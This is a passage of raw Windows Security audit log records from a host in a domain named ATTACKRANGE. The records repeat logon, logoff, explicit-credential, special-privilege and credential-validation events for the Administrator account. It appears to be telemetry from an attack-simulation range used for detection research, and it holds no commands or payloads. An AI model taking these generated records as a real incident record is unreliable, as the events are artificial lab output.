occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245321 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245320 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D575 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245319 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8C315 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245318 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8CC57 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245317 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D575 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245316 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D575 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245315 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245314 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245313 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D3D1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245312 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D3D1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245311 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D3D1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245310 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245309 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245308 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D13B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245307 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D13B - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245306 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x8D13B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245305 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:22 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245304 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245436 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9BFBD - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245435 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9BFBD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245434 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245433 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245432 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9BEF0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245431 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9A2EB - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245430 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9A7D7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245429 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9BEF0 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245428 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9BEF0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245427 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245426 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245425 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9BEBD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245424 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9BEBD - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245423 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x9BEBD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245422 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:23 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245421 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: 